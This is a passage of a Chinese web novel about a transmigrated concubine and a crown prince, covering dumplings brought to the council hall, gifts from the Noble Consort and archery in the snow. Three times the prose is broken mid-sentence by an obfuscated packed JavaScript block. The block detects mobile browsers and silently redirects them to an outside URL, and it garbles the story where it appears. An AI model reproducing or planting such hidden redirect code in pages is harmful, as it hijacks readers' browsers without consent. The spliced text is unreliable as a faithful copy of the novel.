李扶楹可喜欢吃饭了! 李扶楹嘟着小脸,她长这么大还没人哄她吃过饭,所以,被人哄着吃饭是个什么感觉呀?李扶楹也好想体验一下,可惜她等级低,没有体验资格。 差评! 不过,话又说回来了,谁让她得靠着高崇宴过活呢?所以,就当吃得苦中苦,伺候人上人吧。 李扶楹又把小暖炉往怀里揣了揣。 轿子一路晃晃悠悠去了议政殿,然后在议政殿门口稳稳停下。阿福帮李扶楹掀开轿帘,外面的冷风顿时扑进来,冻得李扶楹打了个寒颤。 李扶楹是第一次来议政殿,刚走近些就吓到了。 议政殿跟寝宫那边完全不一样,寝宫那边不经常看到护卫军,而且宫女居多,气氛柔和。而此刻眼前的议政殿外重兵把守,且持刀披甲,死寂一般。 如果硬要让李扶楹描述一下,那么后院那边像甜宠文,议政殿这边一下子就成了历史正剧风了。 李扶楹不禁在心里感慨,幸亏她没有参与主线剧情,真的跟她很不合适。 李扶楹裹了裹身上的大氅走下轿子,迎面就瞧见两个宫人正端着一个扣着铁盖子的托盘往这边跑来。 阿福先走过去把托盘接过来,才又转身将托盘捧给李扶楹。 李扶楹把手里的小暖炉递给一旁跟着的宫女,双手接过托盘的一瞬间差点没端稳,“这么重啊?” 阿福笑着道:“回夫人的话,是盖子重,天冷,不扣盖子的话,水饺都凉了。” 李扶楹连忙又把托盘仔细端稳,生怕把高崇宴的水饺摔了。 守在殿外的宫人瞧见李扶楹连忙先上前行礼,“夫人。” 李扶楹眉眼弯弯笑,“快起来吧。” 宫人连忙又恭敬道:“谢夫人。” 他恭敬躬下腰,对李扶楹做了个请的手势,“夫人您仔细脚下台阶。” 李扶楹甜甜笑着说好,然后端着托盘迈步走进殿内。 议政殿的装潢也跟外面一样,非常严肃且威严,到处都充满了压迫感,气压低得让人不敢抬起头来。 李扶楹一边走一边怂怂地望了眼高坐在大殿正中央的高崇宴,在这个肃杀之气十足的议政殿,她忽然觉得高崇宴好亲切。就仿佛她在荒无人烟的深山老林里忽然看到了熟人一样。 李扶楹恋熟,怕生,不止是人,也包括环境。 高崇宴坐在椅子上居高临下把李扶楹看得清清楚楚,进殿的时候明显有些害怕,越往里面走越害怕,直到现在,她抬起头看到他,眼眸里倒是多了几分依赖。 高崇宴莫名心里有些软软的。 她依赖他。 李扶楹走到大殿中央停下脚步,然后端着水饺盘子甜甜地向高崇宴行礼,“殿下。” 高崇宴淡淡嗯。 李扶楹把手里端着的水饺盘子举高高,生怕高崇宴看不清楚。 在来之前阿福已经给李扶楹科普过演讲稿了,就是高崇宴因为操劳国家大事而废寝忘食,所以李扶楹作为侍妾要来劝高崇宴吃饭。 李扶楹在小脑瓜里理顺了一下说辞,粉粉嫩嫩地小嘴巴一张一合开始背演讲稿,“殿下,我听说东都闹灾荒了,殿下心系百姓,乃百姓之福,但殿下也要保重身体才是。” 高崇宴早就已经听腻了这样的说辞,大臣、宫人,几乎所有人都会跟他说这样的话。但官方走流程的说辞,没什么新意,下面的人也早就练得如火纯青,一开口就是声情并茂,再夸张点可以哭给高崇宴看,可唯独李扶楹不一样,“巴拉巴拉”的小嘴巴,感情色彩是没有一点的,主打一个背书模式。 高崇宴没来由笑了下,笑李扶楹像是来完成任务,没有一点心疼他的感觉,仿佛只要她来了,放下水饺盘子就可以去领工钱了。 高崇宴言简意赅,“过来。” 李扶楹乖巧哦,连忙端着水饺盘子迈上台阶走到高崇宴身边。 一旁的宫人顿时看傻了。 高崇宴说的“过来”,是指近前伺候,是指把水饺盘子交给宫人,再由宫人呈上去,而李扶楹明显理解错误。 高崇宴是太子,太子坐的位置,不说有龙椅那么严重,但也差不多了。就议政殿周围台阶这一圈,除了宫人上呈奏折之外,但凡有人敢进前一步,一律按大不敬处置。可李扶楹这么一个小小的选侍居然一步就迈上去了。 宫人忽然觉得这个小选侍要倒霉了。 但并没有。 只见高崇宴轻轻握住李扶楹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273488|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小手,话是责问,但一点责备的语气都没有,反而有点宠。 “不好好在寝宫待着,出来乱跑什么?” 李扶楹连忙甜甜笑着道:“给殿下送水饺呀,殿下不是不肯好好吃饭吗?人家都心疼了。” 高崇宴:“……” 李扶楹又给声音里面加了点糖,继续撒娇,“殿下,中午后厨做了韭菜虾仁水饺,可好吃了,我都吃撑了,你也尝一尝好不好呀?” 高崇宴没在意别的话,就听到那句“我都吃撑了”。他目光下移,但隔着宽敞的衣服,他没看到李扶楹那吃得圆鼓鼓的小肚皮。 宫里的人,包括下人在内,“吃撑了”这三个字着实罕见。尤其是贵人们,平日里什么好东西没吃过,吃撑了简直匪夷所思。 李扶楹感觉到高崇宴那道有点儿探究的视线从头到脚把她打量一遍,干脆抱住高崇宴的胳膊,“殿下,你好好吃饭好不好呀,不要让人家心疼啦。” 李扶楹抱过来,先是甜甜的花露香,再是娇娇软软的身子。 高崇宴垂眼,目光所及就是李扶楹望着他的那双大大圆圆地水汪汪的眼睛。 高崇宴的心底慢慢变得有些柔软,目光继而落到托盘上扣着的铁盖子上,“打开。” 李扶楹甜甜应着,连忙把铁盖子打开。 铁盖子密不透风,又很厚实,里面的水饺还冒着热气,跟刚出锅的一样。 李扶楹拎着铁盖子左右看了看,她是在想把铁盖子放到哪里合适,她不敢直接把铁盖子放到桌案上,桌案上有奏折,万一不小心弄湿了,李扶楹真的有可能会吃不了兜着走。 那可是权谋文主线的剧情道具! 一旁的宫人见状连忙上前恭敬道:“夫人,把盖子给奴婢吧。” 李扶楹这才小心翼翼把铁盖子递给宫人。 高崇宴扫了一眼托盘里的水饺,每一个都白白胖胖,皮薄馅儿大。不过也就是水饺而已,这东西也能吃撑? 李扶楹乖巧给高崇宴递筷子,“殿下请请请!” 高崇宴接过筷子,“坐吧,不必伺候。” 李扶楹一点不把自己当外人,一屁股就坐到了高崇宴那张宽阔的椅子上。但高崇宴是坐在椅子中间,所以李扶楹坐下后稍微有点挤。 李扶楹探头瞅了眼高崇宴的另一边,那边还有些空隙,李扶楹的小嘴巴又开始“巴拉巴拉”,“殿下,你往那边坐坐好不好,我这边有点挤。” 高崇宴:“……” 下面刚刚帮李扶楹搬来一个凳子的宫人差点吓掉了魂儿。 那可是议政殿的椅子,太子的椅子,这要是大臣往上面一坐就是谋逆。而李扶楹虽说只是后妃,但这么一坐,往轻了说也得拉出去打二十大板。 但并没有。 他们的太子殿下还真的往旁边挪了挪,让这位小选侍舒舒服服地坐着了。 李扶楹坐下后才瞥见搬着椅子走到一半已经石化的宫人,她一脸不解地看着宫人,宫人欲言又止,止又欲言地看着她。 李扶楹的小脑瓜反应了几秒钟,忽然“蹭”地一下从高崇宴的椅子上站起来,她的速度之快,差点掀翻了高崇宴桌案上的那盘水饺。 高崇宴:“……” “又想做什么?” 7.第7章 李扶楹不太确定,“殿……殿下,我是不是应该坐在下面?” 在后院她怎么撒娇都可以,那是她新开辟的言情新赛道,但在议政殿这边,走的都是主线剧情,权谋风。 高崇宴并没在意。 一把椅子而已,没什么大不了的。 “坐着吧,无妨。” 李扶楹揣着小手怂怂的,“真的呀?” 高崇宴:“你连孤的腿都敢坐,椅子有什么不敢的?” 李扶楹:“……” 不过,好像也是这么回事儿。 李扶楹又心安理得地坐回去,一脸人畜无害,两只小手揣在一起,标准的乖巧坐姿。 高崇宴夹了一个水饺品尝。 冬天的韭菜,长得再好也就那样。口感有些老,韭菜的香味儿也不浓。就这味道,李扶楹居然能吃撑,真的是很好养活了。 高崇宴吃了五六个就不吃了。 满满一盘子水饺,剩了一大半。 宫人瞧见赶忙又道:“殿下,奴婢让后厨再给您做些别的吧?” 高崇宴言简意赅,“不必了。” 宫人担心高崇宴的身体,又继续劝,“殿下,您吃这么少怎么能行呢?” 他一边说着,一边向李扶楹使眼神儿。 李扶楹立刻接收到宫人的信号,连忙开启帮腔模式,“是啊殿下,五六个水饺怎么能吃饱呢?” 高崇宴抬了下眼皮,“你中午吃了几个?” 李扶楹努力回想了一下,“大概……十一二三四五六个吧。” 高崇宴:“……” 李扶楹眨眼睛,“那……那就算十三个吧。” 高崇宴点了下水饺盘子,“端下去。” 这话是对宫人说的,宫人看向李扶楹。 李扶楹的小嘴又嘟起来了,“殿下,你再吃几个,再吃几个嘛。” 李扶楹的声音软软的,甜甜的,任谁听了都能甜到心里,但高崇宴还是没有再吃。 李扶楹拿起筷子就给高崇宴塞手里了。 高崇宴:“……” 李扶楹超小声:“殿下再吃几个嘛。” 大家都看着呢,给个面子。 高崇宴无奈叹了口气,但还是又吃了几个。 宫人看得目瞪口呆,顿时对李扶楹这位选侍夫人佩服得五体投地。 李扶楹超有成就感,这就是销冠,嘿嘿。 满满一盘子水饺,这次高崇宴吃了一大半,虽然比起高崇宴正常的饭量还是少了些,但毕竟高崇宴这会儿因为政事心烦,能吃这些已经很好了。 宫人这才上前把水饺盘子撤掉。 高崇宴又看向李扶楹,“回去休息吧。” 李扶楹早就想撤退了。 议政殿是个是非之地,一不小心就会跟主线剧情挂钩。李扶楹这个小脑瓜搞不了权谋,她只会撒娇卖萌,所以,她要远离主线剧情,只在她的言情小赛道里面圈地自萌。 李扶楹立刻甜甜软软地道:“那殿下忙完了要早点回来哦。” 高崇宴嗯。 李扶楹面上还是乖乖巧巧的,“殿下,那我真的走了?” 高崇宴嗯。 李扶楹忽然凑近高崇宴,“吧唧”在高崇宴的脸上亲了一下。 她随即蹦蹦跳跳走下台阶,然后萌哒哒地跟高崇宴挥手手,“殿下我走啦!我真的超级超级喜欢殿下!” 高崇宴:“……” 周围的宫人和护卫军都看傻了,真的可以这样当众亲他们的太子殿下以及告白吗? 李扶楹才不care,她小蝴蝶一样蹦蹦跳跳地出了议政殿,阿福正规规矩矩地守在门外。 李扶楹开心向阿福跑过去,“阿福,我的任务完成啦!我们回去吧!” 阿福掩唇笑,“是,夫人。” 李扶楹麻溜儿钻进轿子里。 抬轿子的宫人们立刻起轿回寝宫。 回去的路上,阿福隔着轿子小声问李扶楹,“夫人,殿下喜欢您送的水饺吗?” 李扶楹不确定,因为高崇宴这个人喜怒不形于色,李扶楹也看不出来他喜不喜欢,只知道他吃了不少。 阿福却很高兴,因为阿福知道殿下吃了不少就是喜欢,“夫人,殿下很少这么听人劝呢,殿下肯定是很喜欢夫人。” 李扶楹弯了弯眉眼。 喜欢她好呀,就是要让高崇宴喜欢她,她才能荣华富贵呀。 轿子一路回到寝宫稳稳停下,李扶楹掀开轿帘迈步走下去。一阵寒风吹来,透过衣领直往衣服里面钻,李扶楹冻得打了个喷嚏。 阿福吓得连忙帮李扶楹裹紧大氅,“夫人,您快些进殿去,外面风凉。” 李扶楹乖巧点头。 主仆二人一起快步走进殿内。 屋里的地龙烧得极旺,这一冷一热的交替,李扶楹有点困了。 阿福察觉到李扶楹的困意,转身吩咐宫女去铺床。 “夫人累了吧?奴婢伺候您去洗漱。” 李扶楹开心说好。 阿福陪着李扶楹去了水房,“天冷,夫人需要在床边再加个暖炉吗?” 李扶楹摇头。 那样太干了,古代没有加湿器,只能往地上洒水,但洒水的效果有限,并不能很好的缓解干燥。 李扶楹洗漱之后又蹦蹦跳跳走到床边,她一边脱掉外衣一边对阿福道:“还是申时叫醒我吧。” 阿福笑着称是。 李扶楹这才躺到床上盖好被子。 阿福帮李扶楹放下床幔,然后放轻了脚步去殿外守着。 不多时,天空飘落了雪花,起初很小,渐渐鹅毛。这雪景很美,但寝宫的宫人们可没空欣赏。他们趁着雪还没有冻住,先拿了扫帚把石子路清扫出来,以便贵人们行走。 阿福在屋里的窗户旁看着那些宫人们干活儿,待申时一到,她又走进寝宫的里间去唤李扶楹起床。 李扶楹其实已经醒了,但是被窝里面暖和,她喜欢躺在被窝里。 阿福笑着帮李扶楹拿了外衣,“夫人快些起来吧,后厨方才送了酥饼过来。” 寝宫这边每日下午都有糕点送来,李扶楹喜欢吃糕点,尤其是那些软软糯糯的糕点最好吃。 李扶楹这才开心起床,但她才穿好衣服,外面便有宫女恭敬来报。 “夫人,贵妃娘娘有赏。” 李扶楹闻言一愣。 她没记得原文里面有贵妃娘娘这么个人。 阿福连忙向李扶楹解释道:“夫人,咱们皇后娘娘仙逝的早,殿下从小是在贵妃娘娘膝下长大。夫人如今是殿下身边的人,想来贵妃娘娘那边已经知道了。” 李扶楹这才了然地点了点头。 原来男主还有这么个成长背景,原文都没有交代,开篇第一章就是东都闹旱灾,然后直接朝堂议政就开始主线剧情,剧情快得跟赶驴一样。 李扶楹继而往寝殿外间走,走到门口入目所及就是一排捧着金银首饰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285123|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女。 李扶楹惊讶张了张嘴,“这么多?都是给我的吗?” 为首的宫女恭敬向李扶楹行礼,“夫人,贵妃娘娘口谕。” 李扶楹懵懵的。 阿福赶紧拉了下李扶楹的衣服小声道:“夫人,快点跪下呀。” 李扶楹连忙跪到地上。 宫女这才又道:“贵妃娘娘口谕:值此冬至吉辰,赐太子妾李氏,蜀锦六匹、素月银簪一支、碧玉莲纹佩一对、海南珊瑚树一株、翡翠珍珠步摇一支,望尔当恪守本分,修德慎行,温婉有度,尽心辅佐太子。” 李扶楹一句话没听懂,就听着宫女“巴拉巴拉”的。 阿福又赶紧提醒李扶楹,“夫人,您快点谢恩呀。” 李扶楹这才又伏身一拜,“谢贵妃娘娘。” 宫女们继而放下那些赏赐退到殿外。 阿福把李扶楹从地上扶起来,一脸笑意,“夫人,看来贵妃娘娘很喜欢您呢。” 李扶楹觉得未必,贵妃都没见过她,从何谈起喜欢?保不齐是做给高崇宴看的。自古后妈难当,更何况后儿子还是太子,这个后妈就更难当了。 不过无所谓,这些事情跟李扶楹没有关系。 李扶楹喜滋滋去看那些赏赐,都是些好东西,一看就价值不菲。 这才是真正的奢侈品,也不知道往后她还能不能穿越回去,如果能的话,她高低得带回去几件。那样她在现代社会也能躺平了。 李扶楹喜滋滋地摸摸这个,又摸摸那个,看哪个都超级喜欢。 李扶楹心情不错,把其中两匹蜀锦顺手送给了阿福,“阿福,这个给你。” 李扶楹这人超好的,有好东西是真的会想着好朋友! 阿福超级开心,“奴婢谢过夫人!” 李扶楹:“嘿嘿。” 阿福又对李扶楹道:“夫人,这些赏赐让奴婢帮您收起来吧。” 李扶楹开心点头,“好呀!” 阿福这才吩咐那些捧着赏赐的宫女们跟她走。 外面下起了雪,而且很大,是鹅毛大雪。 李扶楹巴巴地走到窗户旁看了眼外面,她可喜欢下雪了,她想要出去玩。 李扶楹自己取来大氅裹上,又巴巴地走到门口等阿福。不一会儿,放置好赏赐的阿福就带着宫女们又回来了。 李扶楹连忙欢快地跑过去,“阿福,我们出去玩呀!” 阿福望了眼外面的鹅毛大雪,“夫人,外面的雪太大了,出去会不会冷?” 李扶楹不在意,“就是下雪才有意思呀,没关系的。” 阿福这才笑着称是。 李扶楹裹好大氅,连帽子也戴好,然后便带着阿福以及几个宫女浩浩荡荡地往外面走。 李扶楹沿着宫人们已经打扫好的石子路蹦蹦跳跳,她走在最前面,走几步又回头看着阿福她们,“雪下这么大,估计能下到明天呢。” 阿福笑着称是。 李扶楹问阿福:“阿福,你会打雪仗吗?等雪停了我们一起打雪仗好不好?” 阿福哪敢跟李扶楹打雪仗,连忙恭敬道:“奴婢不敢。” 李扶楹不开心,“这有什么不敢的?我们一起玩游戏而已。” 她说着,弯腰团了个小雪球就笑着往阿福的身上扔去。 但地面滑,李扶楹扔雪球需要用力,她把雪球扔出去的一瞬间,脚底不稳,整个人都往后面栽去了。 宫女们顿时一阵惊呼,“夫人!!” 8.第8章 高崇宴刚从议政殿那边处理完政事往骑射场的方向走,才走到拐角处,一个粉色的身影就冲着他砸了过来。 高崇宴眼疾手快一接,李扶楹不偏不倚就被高崇宴抱了个满怀。 落雪纷飞,李扶楹的脸颊微粉,衬着洁白的落雪,出尘脱俗,如同春晓之花。 高崇宴垂眸顾她一眼,后者惊魂未定,一双小手都紧紧攥着高崇宴的那金丝蟒纹的黑色大氅。 不远处,跟着李扶楹的宫女们都跪了一地,“拜见殿下。” 高崇宴只看着他怀里的人,“孤有没有跟你说过,不准这么冒冒失失。” 李扶楹连忙攥着高崇宴的大氅在高崇宴怀里站好,又甜甜地道:“拜见殿下。” 高崇宴:“……” 李扶楹抱着高崇宴的胳膊不撒手,“殿下,你都忙完了呀?” 高崇宴嗯。 李扶楹一秒开启献殷勤模式,“殿下累不累呀,我陪殿下回寝宫歇歇吧?” 高崇宴已读不回。 李扶楹一秒又开启单机模式,“今天的天气好好呀,大雪纷飞的,特别适合出来溜达,我就想着,我要是走花园里这条石子路的话,肯定能遇到殿下!这不还真让我遇到了呢,不过就是有点激动,差点砸到殿下。” 高崇宴:“……” 李扶楹:“殿下抱我走呀,我刚才那么激动都滑倒了呢。” 高崇宴顾着李扶楹,“孤不是扶住你了。” 李扶楹就要抱,直接挂在高崇宴的身上不下来。 高崇宴:“……” 自古至今,从未有过后妃敢如此放肆,更何况,李扶楹只是一个小小的选侍。 高崇宴垂眼,他原本想训斥李扶楹两句,但李扶楹小树懒一样扒着他,高崇宴目光所及是李扶楹肉嘟嘟的小脸,从高崇宴的角度看过去,李扶楹的脸颊微微鼓起,像两个白白嫩嫩的小笼包。 高崇宴还是把李扶楹抱了起来。 李扶楹超级开心高崇宴抱着她,眉眼弯弯亲了高崇宴的脸颊一下,“殿下你真好!我跟殿下天下第一好!” 阿福和身后跟着的宫女们都掩唇笑。 高崇宴:“……” 他的小选侍似乎太爱跟他撒娇了。 高崇宴抱着李扶楹径直往骑射场的方向走去。 李扶楹不知道高崇宴是要去骑射场,还以为是要回寝宫,她继续没话找话增加亲密度,“殿下,你晚上要陪我一起用晚膳吗?” 高崇宴:“可。” 李扶楹:“那殿下晚上还吃水饺吗?我还没吃够呢,晚上还想再吃一顿好不好。” 高崇宴:“可。” 李扶楹感受到高崇宴好像在拒绝跟她增加亲密度,嘟着小脸不开心,“殿下,你要努力回应我哦!聊天这种事情的话就是要有来有往才对哦!不能只有我一个人说哒!” 高崇宴这才又顾了李扶楹一眼,“孤说了。” 李扶楹一脸茫然,“殿下说什么了?” 高崇宴言简意赅,“说了可。” 李扶楹:“……” 姑且看在钱和庇护的份上。 李扶楹浅浅PUA自己,又换上一副甜甜地笑脸,继续努力增加亲密度,“殿下,今天贵妃娘娘赏了我好多东西呢,我都好喜欢。” 高崇宴早就知道了,甚至比李扶楹知道的还要早。任何事情在东都的地界上都瞒不过高崇宴。只不过,高崇宴不喜欢贵妃自作聪明。 自古前朝后宫都是密不可分,大周王朝也不例外。贵妃的父亲是当朝首辅,弟弟又是工部尚书,这一家子没少以权谋私。 高崇宴是太子,将来的皇帝。如此奸臣,高崇宴不可能重用。但高崇宴现在还不是皇帝,所以,他没打算跟贵妃一家撕破脸,但也没打算走的太近。 高崇宴垂眸,“既然是贵妃赏你的,你留着便是。” 李扶楹的眼睛亮了亮,“真的都给我吗?” 高崇宴嗯。 李扶楹的眼睛更亮了,“那……那好几件呢,不是一两件哦。” 高崇宴好笑。 贵妃的赏赐肯定得好几件,一两件怎么可能拿的出手。 “都是你的。” 李扶楹一激动又亲了高崇宴一下,“殿下你真好!你真好!” 高崇宴:“……” “孤给你讲一讲规矩,后妃要矜持。” 李扶楹的小脑瓜里都是贵妃赏给她的金银珠宝,根本没听到高崇宴在说什么,她又“吧唧”亲了高崇宴的脸颊一下,“是,我记下啦,谢谢殿下!” 高崇宴:“……” 虽然那些赏赐原本就是贵妃赏给李扶楹的,但在高崇宴的一亩三分地上,李扶楹还是得征求一下高崇宴的同意。如今高崇宴同意了,那些赏赐真的都是她的,真的是太太太太好了!这生活想想都有奔头! 李扶楹又“吧唧”亲了高崇宴一口,嘿嘿。 高崇宴:“……” 李扶楹乖乖巧巧地窝在高崇宴的怀里,直到高崇宴抱着她走到骑射场,她才后知后觉发现高崇宴并不是要回寝宫。 高崇宴放轻了力度把李扶楹放到地面让她站稳。 李扶楹是第一次来骑射场,大雪覆盖了地面,只能在纷飞的雪花中看到远处的一排箭靶。 李扶楹一边跟在高崇宴身后走到一个放置弓箭的架子前,一边好奇地东张西望。 原来这就是古代的骑射场,跟电视上拍得不太一样,确切的说,比电视上的骑射场气派多了。 高崇宴自顾自从架子上拿了一把弓,他并没有着急射箭,而是随手拉了拉弓上的弦。 李扶楹又好奇看了眼高崇宴手里的弓箭,“殿下你要射箭吗?” 高崇宴嗯。 李扶楹的目光落在那个放置弓箭的架子上,那个架子很高,从上到下一共放了六把弓。 李扶楹也很想玩。 从前她还没穿书的时候,曾跟朋友去过射箭俱乐部,每个靶子都能射中十环,还赢过一个毛绒玩具。 李扶楹很想给高崇宴露一手,“殿下,我也会射箭哦。” 高崇宴闻言看向李扶楹,眸底多了几分晦暗不明。 李扶楹是楚王府培养的杀手,会射箭不奇怪,但问题是,李扶楹的表面人设是歌伎,她不应该这样暴露自己。 李扶楹生怕高崇宴不信,直接从架子上拿了一把弓,“我可厉害啦! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294422|197897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她说着,便又自顾自拿了一支箭。 李扶楹这一套动作行云流水,外行不懂的能让她唬一下,内行看一眼就知道李扶楹有几斤几两。 高崇宴的眸底又多了几分不解。 李扶楹居然不会射箭。 “这张弓你拉不动。”高崇宴轻描淡写。 李扶楹才不信,她可是拿过十连环大满贯的人。 李扶楹上手就对准远处的靶子准备惊艳一下高崇宴,结果弓在手上,箭在手上,弓弦却硬得跟钢丝一样。 李扶楹微微蹙眉。 这弓弦怎么没有弹性,可她记得她从前在射箭俱乐部玩的时候,那弓弦软得跟橡皮筋一样。 李扶楹好奇放下手里的箭开始仔细研究了一下那根弓弦,也不知道那弓弦是什么材料做的,总之很硬还很勒手。 高崇宴言简意赅,“这是2石的弓,属于强弓,一般经过两年以上训练的护卫军才能用。” 李扶楹:“……” 难怪她拉不开,古代的护卫军相当于现代的特种部队,特种部队用的武器,她能用得了才怪。 李扶楹老老实实把弓放下了,“那我换一把。” 高崇宴:“你手里的那把是最轻的,往上分别是4石、6石,以及8石。” 李扶楹:“……” 高崇宴从箭筒里抽了一支箭出来,然后把他自己手里的那把弓搭弓拉圆。他的姿态标准,是军中的挽弓之法。 高崇宴在漫天飞雪中略微眯眼瞄准远处的靶子,弓弦一响,长箭顿时刺破漫天飞雪的长空,如流星一般向那鲜红的靶心刺去。 李扶楹顿时看得目瞪口呆,这么远的距离,这么重的弓还能命中靶心,这箭法着实了得。 李扶楹不由得回想起来原文中的描述,说高崇宴能开8石弓,可百步穿杨。 李扶楹不懂弓箭,但她读历史书的时候,曾看到过三国时期的赵云是用8石弓,据说8石弓的拉力有480公斤,也就是960斤。 高崇宴没有停,紧接着射了第二箭、第三箭,每一箭都是正中靶心,无一例外。 李扶楹乖巧站在一旁看高崇宴射箭。 就眼下这种情况来看,她要跟高崇宴显摆她那个所谓的十连环大满贯,真的有点大可不必了。 高崇宴没有理会一旁乖乖巧巧的李扶楹,只一心射箭。高崇宴习惯这样的解压方式,每次遇到让他烦心的政事,他都会用射箭来解压。 李扶楹一直乖巧等在旁边,大约过了小半个时辰,高崇宴才终于停下了手里的动作。 高崇宴单手拿着弓,另一手没有箭,是空的。他望着远处的靶心,大雪纷飞模糊了靶子,但只有那鲜红的靶心不肯模糊。 李扶楹见高崇宴停下了,这才又屁颠屁颠跑到高崇宴面前献殷勤,“殿下,你累不累呀?” 高崇宴言简意赅,“不累。” 李扶楹又问高崇宴,“殿下,你手里的这把弓是几石弓呀?” 高崇宴:“8。” 李扶楹惊讶看着那张弓。 果然是8石弓。 李扶楹凑近了些。 高崇宴顾着李扶楹,“在看什么?” 9.第9章 李扶楹搓着小手有点期待,“殿下,我能看看这把弓吗?” 高崇宴直接道:“不能。” 李扶楹的小嘴巴嘟起来了,“为什么呀?我又不要你的。” 高崇宴把弓放回架子上,“拿不稳,会伤着你的手。” 李扶楹一秒就被哄好,原来是在担心她! 李扶楹顺势撒娇,“殿下你关心我呀?” 高崇宴:“……” 李扶楹抱住高崇宴的胳膊,“殿下这么关心我,我更喜欢殿下啦!” 高崇宴:“……” “孤方才跟你说过了,后妃要矜持。” 李扶楹依旧抱着高崇宴的胳膊不撒手,反正就是不撒手,撒手的话,亲密度的进度条就要掉了。 高崇宴:“……” “算了,我们回去吧。” 李扶楹有点意外,“殿下,我们才玩了这么一会儿就要回去了?” 高崇宴嗯。 原本如果只是高崇宴自己过来,他还能再练一会儿,但是天冷,长时间在外面站着会把李扶楹冻坏。 高崇宴与李扶楹一起沿着石子路回了寝宫,这会儿差不多也到了用晚膳的时间。李扶楹想吃水饺,高崇宴便由着她吃,不过晚膳这一顿李扶楹吃得不多,倒不是怕高崇宴嫌她饭量大,而是她中午吃撑了,晚上实在也吃不了多少。 晚膳过后,李扶楹自己在院子里溜达着消食,高崇宴在寝宫的软榻上看书,至于看什么书,李扶楹不知道也不感兴趣。 阿福一早让人先准备着热水,等李扶楹溜达完便可以直接去偏殿沐浴。阿福给李扶楹拿了一种特别香的牡丹花露,花露入水,整个偏殿立刻都变得香香甜甜。 李扶楹还挺喜欢这个花露,在浴池里泡了半个时辰才出来。 阿福拿了布巾帮李扶楹把身上的水都擦干,然后才又拿了干净的中衣帮李扶楹穿上。 李扶楹继而离开偏殿往寝宫里间走去,门外遇到一个正在整理东西的宫女。李扶楹好奇看了眼架子上的盒子,又问那整理东西的宫女,“这么晚了,你在整理什么呀?” 宫女一开始没发现李扶楹,李扶楹忽然说话,吓了她一跳。宫女连忙放下手里的盒子向李扶楹行礼,“拜见夫人。” 李扶楹旧话重提,“你在整理什么呀?” 宫女恭敬道:“回夫人的话,是香料和羊肠衣。” 李扶楹:“……” 这些都是行房用的,她就不该多嘴问,这下好了,弄得她有些尴尬。 阿福见状连忙帮李扶楹解围,“夫人,外面风凉,您赶紧回里间吧。” 李扶楹连忙点头,又巴巴地跑回寝宫里间。 高崇宴已经在另一间水房里面洗完澡回到寝宫里间的床上坐着了,他的手里拿了本书在看,李扶楹走进来也没有抬头。 李扶楹自顾自走到床边掀开被子钻进去,只露出半个小脑袋看着高崇宴。 高崇宴的目光依旧落在手里的书上,“明日下午启程回京。” 李扶楹闻言愣了下。 高崇宴却没跟李扶楹解释。 李扶楹抿抿唇,小脑瓜开始飞速复盘着京城那边的情况。不过权谋文是这样,除了勾心斗角之外,背景介绍的内容很少。 好吧…… 李扶楹想了一圈只想到了一个她可能会相处的人物,她攥着被子角,甜甜软软地问高崇宴,“殿下,贵妃娘娘好相处吗?” 高崇宴慢条斯理翻了一页书,“问这个做什么?” 李扶楹:“我跟殿下一起回京,不是得去拜见贵妃娘娘吗?” 高崇宴言简意赅,“不必。” 李扶楹只是妾,还是最末位的选侍,根本没资格去拜见贵妃。 但李扶楹不懂,还在傻傻问:“为什么呀?” 高崇宴这才顾她一眼,“只有太子妃以及良媛、良娣才能去拜见贵妃。” 李扶楹:“……” 好的,她的账号级别不够。 高崇宴把手里的书放到一边,“其实不去见贵妃也好,宫里规矩多,你这样也许会吃亏。” 高崇宴说的是李扶楹也许会吃亏,而不是李扶楹也许会冲撞着贵妃娘娘。 李扶楹的心里忽然就有点开心,“殿下,你是站在我这边的呀?” 高崇宴自己都没察觉他方才话里的偏心,被李扶楹这么一说,他才后知后觉。 李扶楹抱住高崇宴的胳膊,“那我也站在殿下这边。” 高崇宴:“站在孤这边做什么?” 李扶楹认认真真地道:“殿下喜欢的人我也喜欢,殿下不喜欢的人我也不喜欢。” 高崇宴没言语。 李扶楹眨眼睛看向高崇宴。 高崇宴言简意赅,“休息吧。” 但高崇宴说的休息自然不是纯睡觉。 李扶楹是他的侍妾,不管是歌伎还是杀手,但在李扶楹对他动手之前,他会一直把李扶楹当成一个单纯的侍妾。 窗外的漫天飞雪下了整整一夜,第二天也没有停,高崇宴很早就醒了,但李扶楹没有醒。 高崇宴穿好衣服直接去了水房洗漱,然后又去了书房准备回京的事宜。 下午申时,高崇宴准时率领东宫的护卫军向京城进发,李扶楹自然也一同前往。 